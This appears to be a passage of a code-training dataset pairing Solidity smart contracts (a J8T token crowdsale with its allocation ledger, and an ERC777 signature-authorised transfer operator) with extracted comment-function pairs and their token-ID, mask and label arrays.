or not modifier onlyOps() { //Needs to be set. Default constructor will set 0x0; address _address = msg.sender; require(_address != address(0)); require(_address == opsAddress); _; } // Checks whether the msg.sender address is equal to the opsAddress or adminAddress property modifier onlyAdminAndOps() { //Needs to be set. Default constructor will set 0x0; address _address = msg.sender; require(_address != address(0)); require(_address == opsAddress || _address == adminAddress); _; } } contract CrowdsaleConfig is J8TTokenConfig { using SafeMath for uint256; // Default start token sale date is 28th February 15:00 SGP 2018 uint256 public constant START_TIMESTAMP = 1519801200; // Default end token sale date is 14th March 15:00 SGP 2018 uint256 public constant END_TIMESTAMP = 1521010800; // The ETH decimal factor to obtain weis uint256 public constant ETH_DECIMALS_FACTOR = 10**uint256(18); // The token sale supply uint256 public constant TOKEN_SALE_SUPPLY = 450000000 * J8T_DECIMALS_FACTOR; // The minimum contribution amount in weis uint256 public constant MIN_CONTRIBUTION_WEIS = 0.1 ether; // The maximum contribution amount in weis uint256 public constant MAX_CONTRIBUTION_WEIS = 10 ether; //@WARNING: WORKING WITH KILO-MULTIPLES TO AVOID IMPOSSIBLE DIVISIONS OF FLOATING POINTS. uint256 constant dollar_per_kilo_token = 100; //0.1 dollar per token uint256 public constant dollars_per_kilo_ether = 900000; //900$ per ether //TOKENS_PER_ETHER = dollars_per_ether / dollar_per_token uint256 public constant INITIAL_TOKENS_PER_ETHER = dollars_per_kilo_ether.div(dollar_per_kilo_token); } contract Ledger is ACLManaged { using SafeMath for uint256; /////////////////////// // Ledger PROPERTIES // /////////////////////// // The Allocation struct represents a token sale purchase // amountGranted is the amount of tokens purchased // hasClaimedBonusTokens whether the allocation has been alredy claimed struct Allocation { uint256 amountGranted; uint256 amountBonusGranted; bool hasClaimedBonusTokens; } // ContributionPhase enum cases are // PreSaleContribution, the contribution has been made in the presale phase // PartnerContribution, the contribution has been made in the private phase enum ContributionPhase { PreSaleContribution, PartnerContribution } // Map of adresses that purchased tokens on the presale phase mapping(address => Allocation) public presaleAllocations; // Map of adresses that purchased tokens on the private phase mapping(address => Allocation) public partnerAllocations; // Reference to the J8TToken contract J8TToken public tokenContract; // Reference to the Crowdsale contract Crowdsale public crowdsaleContract; // Total private allocation, counting the amount of tokens from the // partner and the presale phase uint256 public totalPrivateAllocation; // Whether the token allocations can be claimed on the partner sale phase bool public canClaimPartnerTokens; // Whether the token allocations can be claimed on the presale sale phase bool public canClaimPresaleTokens; // Whether the bonus token allocations can be claimed bool public canClaimPresaleBonusTokensPhase1; bool public canClaimPresaleBonusTokensPhase2; // Whether the bonus token allocations can be claimed bool public canClaimPartnerBonusTokensPhase1; bool public canClaimPartnerBonusTokensPhase2; /////////////////// // Ledger EVENTS // /////////////////// // Triggered when an allocation has been granted event AllocationGranted(address _contributor, uint256 _amount, uint8 _phase); // Triggered when an allocation has been revoked event AllocationRevoked(address _contributor, uint256 _amount, uint8 _phase); // Triggered when an allocation has been claimed event AllocationClaimed(address _contributor, uint256 _amount); // Triggered when a bonus allocation has been claimed event AllocationBonusClaimed(address _contributor, uint256 _amount); // Triggered when crowdsale contract updated event CrowdsaleContractUpdated(address _who, address _old_address, address _new_address); //Triggered when any can claim token boolean is updated. _type param indicates which is updated. event CanClaimTokensUpdated(address _who, string _type, bool _oldCanClaim, bool _newCanClaim); ////////////////////// // Ledger FUNCTIONS // ////////////////////// // Ledger constructor // Sets default values for canClaimPresaleTokens and canClaimPartnerTokens properties function Ledger(J8TToken _tokenContract) public { require(address(_tokenContract) != address(0)); tokenContract = _tokenContract; canClaimPresaleTokens = false; canClaimPartnerTokens = false; canClaimPresaleBonusTokensPhase1 = false; canClaimPresaleBonusTokensPhase2 = false; canClaimPartnerBonusTokensPhase1 = false; canClaimPartnerBonusTokensPhase2 = false; } function () external payable { claimTokens(); } // Revokes an allocation from the contributor with address _contributor // Deletes the allocation from the corresponding mapping property and transfers // the total amount of tokens of the allocation back to the Crowdsale contract function revokeAllocation(address _contributor, uint8 _phase) public onlyAdminAndOps payable returns (uint256) { require(_contributor != address(0)); require(_contributor != address(this)); // Can't revoke an allocation if the contribution phase is not in the ContributionPhase enum ContributionPhase _contributionPhase = ContributionPhase(_phase); require(_contributionPhase == ContributionPhase.PreSaleContribution || _contributionPhase == ContributionPhase.PartnerContribution); uint256 grantedAllocation = 0; // Deletes the allocation from the respective mapping if (_contributionPhase == ContributionPhase.PreSaleContribution) { grantedAllocation = presaleAllocations[_contributor].amountGranted.add(presaleAllocations[_contributor].amountBonusGranted); delete presaleAllocations[_contributor]; } else if (_contributionPhase == ContributionPhase.PartnerContribution) { grantedAllocation = partnerAllocations[_contributor].amountGranted.add(partnerAllocations[_contributor].amountBonusGranted); delete partnerAllocations[_contributor]; } // The granted amount allocation must be less that the current token supply on the contract uint256 currentSupply = tokenContract.balanceOf(address(this)); require(grantedAllocation <= currentSupply); // Updates the total private allocation substracting the amount of tokens that has been revoked require(grantedAllocation <= totalPrivateAllocation); totalPrivateAllocation = totalPrivateAllocation.sub(grantedAllocation); // We sent back the amount of tokens that has been revoked to the corwdsale contract require(tokenContract.transfer(address(crowdsaleContract), grantedAllocation)); AllocationRevoked(_contributor, grantedAllocation, _phase); return grantedAllocation; } // Adds a new allocation for the contributor with address _contributor function addAllocation(address _contributor, uint256 _amount, uint256 _bonus, uint8 _phase) public onlyAdminAndOps returns (bool) { require(_contributor != address(0)); require(_contributor != address(this)); // Can't create or update an allocation if the amount of tokens to be allocated is not greater than zero require(_amount > 0); // Can't create an allocation if the contribution phase is not in the ContributionPhase enum ContributionPhase _contributionPhase = ContributionPhase(_phase); require(_contributionPhase == ContributionPhase.PreSaleContribution || _contributionPhase == ContributionPhase.PartnerContribution); uint256 totalAmount = _amount.add(_bonus); uint256 totalGrantedAllocation = 0; uint256 totalGrantedBonusAllocation = 0; // Fetch the allocation from the respective mapping and updates the granted amount of tokens if (_contributionPhase == ContributionPhase.PreSaleContribution) { totalGrantedAllocation = presaleAllocations[_contributor].amountGranted.add(_amount); totalGrantedBonusAllocation = presaleAllocations[_contributor].amountBonusGranted.add(_bonus); presaleAllocations[_contributor] = Allocation(totalGrantedAllocation, totalGrantedBonusAllocation, false); } else if (_contributionPhase == ContributionPhase.PartnerContribution) { totalGrantedAllocation = partnerAllocations[_contributor].amountGranted.add(_amount); totalGrantedBonusAllocation = partnerAllocations[_contributor].amountBonusGranted.add(_bonus); partnerAllocations[_contributor] = Allocation(totalGrantedAllocation, totalGrantedBonusAllocation, false); } // Updates the contract data totalPrivateAllocation = totalPrivateAllocation.add(totalAmount); AllocationGranted(_contributor, totalAmount, _phase); return true; } // The claimTokens() function handles the contribution token claim. // Tokens can only be claimed after we open this phase. // The lockouts periods are defined by the foundation. // There are 2 different lockouts: // Presale lockout // Partner lockout // // A contributor that has contributed in all the phases can claim // all its tokens, but only the ones that are accesible to claim // be transfered. // // A contributor can claim its tokens after each phase has been opened function claimTokens() public payable returns (bool) { require(msg.sender != address(0)); require(msg.sender != address(this)); uint256 amountToTransfer = 0; // We need to check if the contributor has made a contribution on each // phase, presale and partner Allocation storage presaleA = presaleAllocations[msg.sender]; if (presaleA.amountGranted > 0 && canClaimPresaleTokens) { amountToTransfer = amountToTransfer.add(presaleA.amountGranted); presaleA.amountGranted = 0; } Allocation storage partnerA = partnerAllocations[msg.sender]; if (partnerA.amountGranted > 0 && canClaimPartnerTokens) { amountToTransfer = amountToTransfer.add(partnerA.amountGranted); partnerA.amountGranted = 0; } // The amount to transfer must greater than zero require(amountToTransfer > 0); // The amount to transfer must be less or equal to the current supply uint256 currentSupply = tokenContract.balanceOf(address(this)); require(amountToTransfer <= currentSupply); // Transfer the token allocation to contributor require(tokenContract.transfer(msg.sender, amountToTransfer)); AllocationClaimed(msg.sender, amountToTransfer); return true; } function claimBonus() external payable returns (bool) { require(msg.sender != address(0)); require(msg.sender != address(this)); uint256 amountToTransfer = 0; // BONUS PHASE 1 Allocation storage presale = presaleAllocations[msg.sender]; if (presale.amountBonusGranted > 0 && !presale.hasClaimedBonusTokens && canClaimPresaleBonusTokensPhase1) { uint256 amountPresale = presale.amountBonusGranted.div(2); amountToTransfer = amountPresale; presale.amountBonusGranted = amountPresale; presale.hasClaimedBonusTokens = true; } Allocation storage partner = partnerAllocations[msg.sender]; if (partner.amountBonusGranted > 0 && !partner.hasClaimedBonusTokens && canClaimPartnerBonusTokensPhase1) { uint256 amountPartner = partner.amountBonusGranted.div(2); amountToTransfer = amountToTransfer.add(amountPartner); partner.amountBonusGranted = amountPartner; partner.hasClaimedBonusTokens = true; } // BONUS PHASE 2 if (presale.amountBonusGranted > 0 && canClaimPresaleBonusTokensPhase2) { amountToTransfer = amountToTransfer.add(presale.amountBonusGranted); presale.amountBonusGranted = 0; } if (partner.amountBonusGranted > 0 && canClaimPartnerBonusTokensPhase2) { amountToTransfer = amountToTransfer.add(partner.amountBonusGranted); partner.amountBonusGranted = 0; } // The amount to transfer must greater than zero require(amountToTransfer > 0); // The amount to transfer must be less or equal to the current supply uint256 currentSupply = tokenContract.balanceOf(address(this)); require(amountToTransfer <= currentSupply); // Transfer the token allocation to contributor require(tokenContract.transfer(msg.sender, amountToTransfer)); AllocationBonusClaimed(msg.sender, amountToTransfer); return true; } // Updates the canClaimPresaleTokens propety with the new _canClaimTokens value function setCanClaimPresaleTokens(bool _canClaimTokens) external onlyAdmin returns (bool) { bool _oldCanClaim = canClaimPresaleTokens; canClaimPresaleTokens = _canClaimTokens; CanClaimTokensUpdated(msg.sender, 'canClaimPresaleTokens', _oldCanClaim, _canClaimTokens); return true; } // Updates the canClaimPartnerTokens property with the new _canClaimTokens value function setCanClaimPartnerTokens(bool _canClaimTokens) external onlyAdmin returns (bool) { bool _oldCanClaim = canClaimPartnerTokens; canClaimPartnerTokens = _canClaimTokens; CanClaimTokensUpdated(msg.sender, 'canClaimPartnerTokens', _oldCanClaim, _canClaimTokens); return true; } // Updates the canClaimBonusTokens property with the new _canClaimTokens value function setCanClaimPresaleBonusTokensPhase1(bool _canClaimTokens) external onlyAdmin returns (bool) { bool _oldCanClaim = canClaimPresaleBonusTokensPhase1; canClaimPresaleBonusTokensPhase1 = _canClaimTokens; CanClaimTokensUpdated(msg.sender, 'canClaimPresaleBonusTokensPhase1', _oldCanClaim, _canClaimTokens); return true; } // Updates the canClaimBonusTokens property with the new _canClaimTokens value function setCanClaimPresaleBonusTokensPhase2(bool _canClaimTokens) external onlyAdmin returns (bool) { bool _oldCanClaim = canClaimPresaleBonusTokensPhase2; canClaimPresaleBonusTokensPhase2 = _canClaimTokens; CanClaimTokensUpdated(msg.sender, 'canClaimPresaleBonusTokensPhase2', _oldCanClaim, _canClaimTokens); return true; } // Updates the canClaimBonusTokens property with the new _canClaimTokens value function setCanClaimPartnerBonusTokensPhase1(bool _canClaimTokens) external onlyAdmin returns (bool) { bool _oldCanClaim = canClaimPartnerBonusTokensPhase1; canClaimPartnerBonusTokensPhase1 = _canClaimTokens; CanClaimTokensUpdated(msg.sender, 'canClaimPartnerBonusTokensPhase1', _oldCanClaim, _canClaimTokens); return true; } // Updates the canClaimBonusTokens property with the new _canClaimTokens value function setCanClaimPartnerBonusTokensPhase2(bool _canClaimTokens) external onlyAdmin returns (bool) { bool _oldCanClaim = canClaimPartnerBonusTokensPhase2; canClaimPartnerBonusTokensPhase2 = _canClaimTokens; CanClaimTokensUpdated(msg.sender, 'canClaimPartnerBonusTokensPhase2', _oldCanClaim, _canClaimTokens); return true; } // Updates the crowdsale contract property with the new _crowdsaleContract value function setCrowdsaleContract(Crowdsale _crowdsaleContract) public onlyOwner returns (bool) { address old_crowdsale_address = crowdsaleContract; crowdsaleContract = _crowdsaleContract; CrowdsaleContractUpdated(msg.sender, old_crowdsale_address, crowdsaleContract); return true; } } contract Crowdsale is ACLManaged, CrowdsaleConfig { using SafeMath for uint256; ////////////////////////// // Crowdsale PROPERTIES // ////////////////////////// // The J8TToken smart contract reference J8TToken public tokenContract; // The Ledger smart contract reference Ledger public ledgerContract; // The start token sale date represented as a timestamp uint256 public startTimestamp; // The end token sale date represented as a timestamp uint256 public endTimestamp; // Ratio of J8T tokens to per ether uint256 public tokensPerEther; // The total amount of wei raised in the token sale // Including presales (in eth) and public sale uint256 public weiRaised; // The current total amount of tokens sold in the token sale uint256 public totalTokensSold; // The minimum and maximum eth contribution accepted in the token sale uint256 public minContribution; uint256 public maxContribution; // The wallet address where the token sale sends all eth contributions address public wallet; // Controls whether the token sale has finished or not bool public isFinalized = false; // Map of adresses that requested to purchase tokens // Contributors of the token sale are segmented as: // CannotContribute: Cannot contribute in any phase (uint8 - 0) // PreSaleContributor: Can contribute on both pre-sale and pubic sale phases (uint8 - 1) // PublicSaleContributor: Can contribute on he public sale phase (uint8 - 2) mapping(address => WhitelistPermission) public whitelist; // Map of addresses that has already contributed on the token sale mapping(address => bool) public hasContributed; enum WhitelistPermission { CannotContribute, PreSaleContributor, PublicSaleContributor } ////////////////////// // Crowdsale EVENTS // ////////////////////// // Triggered when a contribution in the public sale has been processed correctly event TokensPurchased(address _contributor, uint256 _amount); // Triggered when the whitelist has been updated event WhiteListUpdated(address _who, address _account, WhitelistPermission _phase); // Triggered when the Crowdsale has been created event ContractCreated(); // Triggered when a presale has been added // The phase parameter can be a strategic partner contribution or a presale contribution event PresaleAdded(address _contributor, uint256 _amount, uint8 _phase); // Triggered when the tokensPerEther property has been updated event TokensPerEtherUpdated(address _who, uint256 _oldValue, uint256 _newValue); // Triggered when the startTimestamp property has been updated event StartTimestampUpdated(address _who, uint256 _oldValue, uint256 _newValue); // Triggered when the endTimestamp property has been updated event EndTimestampUpdated(address _who, uint256 _oldValue, uint256 _newValue); // Triggered when the wallet property has been updated event WalletUpdated(address _who, address _oldWallet, address _newWallet); // Triggered when the minContribution property has been updated event MinContributionUpdated(address _who, uint256 _oldValue, uint256 _newValue); // Triggered when the maxContribution property has been updated event MaxContributionUpdated(address _who, uint256 _oldValue, uint256 _newValue); // Triggered when the token sale has finalized event Finalized(address _who, uint256 _timestamp); // Triggered when the token sale has finalized and there where still token to sale // When the token are not sold, we burn them event Burned(address _who, uint256 _amount, uint256 _timestamp); ///////////////////////// // Crowdsale FUNCTIONS // ///////////////////////// // Crowdsale constructor // Takes default values from the CrowdsaleConfig smart contract function Crowdsale( J8TToken _tokenContract, Ledger _ledgerContract, address _wallet ) public { uint256 _start = START_TIMESTAMP; uint256 _end = END_TIMESTAMP; uint256 _supply = TOKEN_SALE_SUPPLY; uint256 _min_contribution = MIN_CONTRIBUTION_WEIS; uint256 _max_contribution = MAX_CONTRIBUTION_WEIS; uint256 _tokensPerEther = INITIAL_TOKENS_PER_ETHER; require(_start > currentTime()); require(_end > _start); require(_tokensPerEther > 0); require(address(_tokenContract) != address(0)); require(address(_ledgerContract) != address(0)); require(_wallet != address(0)); ledgerContract = _ledgerContract; tokenContract = _tokenContract; startTimestamp = _start; endTimestamp = _end; tokensPerEther = _tokensPerEther; minContribution = _min_contribution; maxContribution = _max_contribution; wallet = _wallet; totalTokensSold = 0; weiRaised = 0; isFinalized = false; ContractCreated(); } // Updates the tokenPerEther propety with the new _tokensPerEther value function setTokensPerEther(uint256 _tokensPerEther) external onlyAdmin onlyBeforeSale returns (bool) { require(_tokensPerEther > 0); uint256 _oldValue = tokensPerEther; tokensPerEther = _tokensPerEther; TokensPerEtherUpdated(msg.sender, _oldValue, tokensPerEther); return true; } // Updates the startTimestamp propety with the new _start value function setStartTimestamp(uint256 _start) external onlyAdmin returns (bool) { require(_start < endTimestamp); require(_start > currentTime()); uint256 _oldValue = startTimestamp; startTimestamp = _start; StartTimestampUpdated(msg.sender, _oldValue, startTimestamp); return true; } // Updates the endTimestamp propety with the new _end value function setEndTimestamp(uint256 _end) external onlyAdmin returns (bool) { require(_end > startTimestamp); uint256 _oldValue = endTimestamp; endTimestamp = _end; EndTimestampUpdated(msg.sender, _oldValue, endTimestamp); return true; } // Updates the wallet propety with the new _newWallet value function updateWallet(address _newWallet) external onlyAdmin returns (bool) { require(_newWallet != address(0)); address _oldValue = wallet; wallet = _newWallet; WalletUpdated(msg.sender, _oldValue, wallet); return true; } // Updates the minContribution propety with the new _newMinControbution value function setMinContribution(uint256 _newMinContribution) external onlyAdmin returns (bool) { require(_newMinContribution <= maxContribution); uint256 _oldValue = minContribution; minContribution = _newMinContribution; MinContributionUpdated(msg.sender, _oldValue, minContribution); return true; } // Updates the maxContribution propety with the new _newMaxContribution value function setMaxContribution(uint256 _newMaxContribution) external onlyAdmin returns (bool) { require(_newMaxContribution > minContribution); uint256 _oldValue = maxContribution; maxContribution = _newMaxContribution; MaxContributionUpdated(msg.sender, _oldValue, maxContribution); return true; } // Main public function. function () external payable { purchaseTokens(); } // Revokes a presale allocation from the contributor with address _contributor // Updates the totalTokensSold property substracting the amount of tokens that where previously allocated function revokePresale(address _contributor, uint8 _contributorPhase) external onlyAdmin returns (bool) { require(_contributor != address(0)); // We can only revoke allocations from pre sale or strategic partners // ContributionPhase.PreSaleContribution == 0, ContributionPhase.PartnerContribution == 1 require(_contributorPhase == 0 || _contributorPhase == 1); uint256 luckys = ledgerContract.revokeAllocation(_contributor, _contributorPhase); require(luckys > 0); require(luckys <= totalTokensSold); totalTokensSold = totalTokensSold.sub(luckys); return true; } // Adds a new presale allocation for the contributor with address _contributor // We can only allocate presale before the token sale has been initialized function addPresale(address _contributor, uint256 _tokens, uint256 _bonus, uint8 _contributorPhase) external onlyAdminAndOps onlyBeforeSale returns (bool) { require(_tokens > 0); require(_bonus > 0); // Converts the amount of tokens to our smallest J8T value, lucky uint256 luckys = _tokens.mul(J8T_DECIMALS_FACTOR); uint256 bonusLuckys = _bonus.mul(J8T_DECIMALS_FACTOR); uint256 totalTokens = luckys.add(bonusLuckys); uint256 availableTokensToPurchase = tokenContract.balanceOf(address(this)); require(totalTokens <= availableTokensToPurchase); // Insert the new allocation to the Ledger require(ledgerContract.addAllocation(_contributor, luckys, bonusLuckys, _contributorPhase)); // Transfers the tokens form the Crowdsale contract to the Ledger contract require(tokenContract.transfer(address(ledgerContract), totalTokens)); // Updates totalTokensSold property totalTokensSold = totalTokensSold.add(totalTokens); // If we reach the total amount of tokens to sell we finilize the token sale availableTokensToPurchase = tokenContract.balanceOf(address(this)); if (availableTokensToPurchase == 0) { finalization(); } // Trigger PresaleAdded event PresaleAdded(_contributor, totalTokens, _contributorPhase); } // The purchaseTokens function handles the token purchase flow function purchaseTokens() public payable onlyDuringSale returns (bool) { address contributor = msg.sender; uint256 weiAmount = msg.value; // A contributor can only contribute once on the public sale require(hasContributed[contributor] == false); // The contributor address must be whitelisted in order to be able to purchase tokens require(contributorCanContribute(contributor)); // The weiAmount must be greater or equal than minContribution require(weiAmount >= minContribution); // The weiAmount cannot be greater than maxContribution require(weiAmount <= maxContribution); // The availableTokensToPurchase must be greater than 0 require(totalTokensSold < TOKEN_SALE_SUPPLY); uint256 availableTokensToPurchase = TOKEN_SALE_SUPPLY.sub(totalTokensSold); // We need to convert the tokensPerEther to luckys (10**8) uint256 luckyPerEther = tokensPerEther.mul(J8T_DECIMALS_FACTOR); // In order to calculate the tokens amount to be allocated to the contrbutor // we need to multiply the amount of wei sent by luckyPerEther and divide the // result for the ether decimal factor (10**18) uint256 tokensAmount = weiAmount.mul(luckyPerEther).div(ETH_DECIMALS_FACTOR); uint256 refund = 0; uint256 tokensToPurchase = tokensAmount; // If the token purchase amount is bigger than the remaining token allocation // we can only sell the remainging tokens and refund the unused amount of eth if (availableTokensToPurchase < tokensAmount) { tokensToPurchase = availableTokensToPurchase; weiAmount = tokensToPurchase.mul(ETH_DECIMALS_FACTOR).div(luckyPerEther); refund = msg.value.sub(weiAmount); } // We update the token sale contract data totalTokensSold = totalTokensSold.add(tokensToPurchase); uint256 weiToPurchase = tokensToPurchase.div(tokensPerEther); weiRaised = weiRaised.add(weiToPurchase); // Transfers the tokens form the Crowdsale contract to contriutors wallet require(tokenContract.transfer(contributor, tokensToPurchase)); // Issue a refund for any unused ether if (refund > 0) { contributor.transfer(refund); } // Transfer ether contribution to the wallet wallet.transfer(weiAmount); // Update hasContributed mapping hasContributed[contributor] = true; TokensPurchased(contributor, tokensToPurchase); // If we reach the total amount of tokens to sell we finilize the token sale if (totalTokensSold == TOKEN_SALE_SUPPLY) { finalization(); } return true; } // Updates the whitelist function updateWhitelist(address _account, WhitelistPermission _permission) external onlyAdminAndOps returns (bool) { require(_account != address(0)); require(_permission == WhitelistPermission.PreSaleContributor || _permission == WhitelistPermission.PublicSaleContributor || _permission == WhitelistPermission.CannotContribute); require(!saleHasFinished()); whitelist[_account] = _permission; address _who = msg.sender; WhiteListUpdated(_who, _account, _permission); return true; } function updateWhitelist_batch(address[] _accounts, WhitelistPermission _permission) external onlyAdminAndOps returns (bool) { require(_permission == WhitelistPermission.PreSaleContributor || _permission == WhitelistPermission.PublicSaleContributor || _permission == WhitelistPermission.CannotContribute); require(!saleHasFinished()); for(uint i = 0; i < _accounts.length; ++i) { require(_accounts[i] != address(0)); whitelist[_accounts[i]] = _permission; WhiteListUpdated(msg.sender, _accounts[i], _permission); } return true; } // Checks that the status of an address account // Contributors of the token sale are segmented as: // PreSaleContributor: Can contribute on both pre-sale and pubic sale phases // PublicSaleContributor: Can contribute on he public sale phase // CannotContribute: Cannot contribute in any phase function contributorCanContribute(address _contributorAddress) private view returns (bool) { WhitelistPermission _contributorPhase = whitelist[_contributorAddress]; if (_contributorPhase == WhitelistPermission.CannotContribute) { return false; } if (_contributorPhase == WhitelistPermission.PreSaleContributor || _contributorPhase == WhitelistPermission.PublicSaleContributor) { return true; } return false; } // Returns the current time function currentTime() public view returns (uint256) { return now; } // Checks if the sale has finished function saleHasFinished() public view returns (bool) { if (isFinalized) { return true; } if (endTimestamp < currentTime()) { return true; } if (totalTokensSold == TOKEN_SALE_SUPPLY) { return true; } return false; } modifier onlyBeforeSale() { require(currentTime() < startTimestamp); _; } modifier onlyDuringSale() { uint256 _currentTime = currentTime(); require(startTimestamp < _currentTime); require(_currentTime < endTimestamp); _; } modifier onlyPostSale() { require(endTimestamp < currentTime()); _; } /////////////////////// // PRIVATE FUNCTIONS // /////////////////////// // This method is for to be called only for the owner. This way we protect for anyone who wanna finalize the ICO. function finalize() external onlyAdmin returns (bool) { return finalization(); } // Only used by finalize and setFinalized. // Overloaded logic for two uses. // NOTE: In case finalize is called by an user and not from addPresale()/purchaseToken() // will diff total supply with sold supply to burn token. function finalization() private returns (bool) { require(!isFinalized); isFinalized = true; if (totalTokensSold < TOKEN_SALE_SUPPLY) { uint256 toBurn = TOKEN_SALE_SUPPLY.sub(totalTokensSold); tokenContract.burn(toBurn); Burned(msg.sender, toBurn, currentTime()); } Finalized(msg.sender, currentTime()); return true; } function saleSupply() public view returns (uint256) { return tokenContract.balanceOf(address(this)); } }
Reference to the J8TToken contract
J8TToken public tokenContract;
2,480,400
[ 1, 2404, 358, 326, 804, 28, 56, 1345, 6835, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 804, 28, 56, 1345, 1071, 1147, 8924, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.0; import '../token/IERC777.sol'; /** * @title SignatureAuthority * * An ERC777 token operator contract that requires a signature from the * holder to allow the transfer to take place. * * State of this contract: stable; development complete but the code is * unaudited. and may contain bugs and/or security holes. Use at your own * risk. * * @author Jim McDonald * @notice If you use this contract please consider donating some Ether or * some of your ERC-777 token to wsl.wealdtech.eth to support continued * development of these and future contracts */ contract SignatureAuthority { // Mapping is hash=>used, to stop replays mapping(bytes32=>bool) private usedHashes; /** * send tokens from one account to another using the signature as the authority. * The signature is created by the holder and signs a hash of the * (_token, _holder, _recipient, _amount, _nonce) tuple as created by hashForSend(). * * @param _token the address of the token contract * @param _holder the holder of the tokens * @param _recipient the recipient of the tokens * @param _amount the number of tokens to send * @param _data the data field for the operatorSend operation, supplied by the authority * @param _nonce a unique field for a given (_token, _holder, _recipient, _amount, _nonce) supplied by the authority * @param _signature the signature supplied by the authority */ function send(IERC777 _token, address _holder, address _recipient, uint256 _amount, bytes memory _data, uint256 _nonce, bytes memory _signature) public { preSend(_token, _holder, _recipient, _amount, _data, _nonce, _signature); _token.operatorSend(_holder, _recipient, _amount, _data, ""); } function preSend(IERC777 _token, address _holder, address _recipient, uint256 _amount, bytes memory _data, uint256 _nonce, bytes memory _signature) internal { // Ensure that signature contains the correct number of bytes require(_signature.length == 65, "length of signature incorrect"); bytes32 hash = hashForSend(_token, _holder, _recipient, _amount, _data, _nonce); require(!usedHashes[hash], "tokens already sent"); address signatory = signer(hash, _signature); require(signatory != address(0), "signatory is invalid"); require(signatory == _holder, "signatory is not the holder"); usedHashes[hash] = true; } /** * This generates the hash that is signed by the holder to authorise a send. * * @param _token the address of the token contract * @param _holder the holder of the tokens * @param _recipient the recipient of the tokens * @param _amount the number of tokens to send * @param _data the data field for the operatorSend operation, supplied by the authority * @param _nonce a unique field for a given (_token, _holder, _recipient, _amount, _nonce) supplied by the authority */ function hashForSend(IERC777 _token, address _holder, address _recipient, uint256 _amount, bytes memory _data, uint256 _nonce) public pure returns (bytes32) { return keccak256(abi.encodePacked(_token, _holder, _recipient, _amount, _data, _nonce)); } /** * This obtains the signer of a hash given its signature. * Note that a returned address of 0 means that the signature is invalid, * and should be treated as such. */ function signer(bytes32 _hash, bytes memory _signature) private pure returns (address) { bytes32 r; bytes32 s; uint8 v; assembly { r := mload(add(_signature, 32)) s := mload(add(_signature, 64)) v := and(mload(add(_signature, 65)), 255) } if (v < 27) { v += 27; } require(v == 27 || v == 28, "signature is invavlid"); bytes memory prefix = "\x19Ethereum Signed Message:\n32"; bytes32 prefixedHash = keccak256(abi.encodePacked(prefix, _hash)); return ecrecover(prefixedHash, v, r, s); } }
* send tokens from one account to another using the signature as the authority. The signature is created by the holder and signs a hash of the (_token, _holder, _recipient, _amount, _nonce) tuple as created by hashForSend(). @param _token the address of the token contract @param _holder the holder of the tokens @param _recipient the recipient of the tokens @param _amount the number of tokens to send @param _data the data field for the operatorSend operation, supplied by the authority @param _nonce a unique field for a given (_token, _holder, _recipient, _amount, _nonce) supplied by the authority @param _signature the signature supplied by the authority/
function send(IERC777 _token, address _holder, address _recipient, uint256 _amount, bytes memory _data, uint256 _nonce, bytes memory _signature) public { preSend(_token, _holder, _recipient, _amount, _data, _nonce, _signature); _token.operatorSend(_holder, _recipient, _amount, _data, ""); }
13,113,803
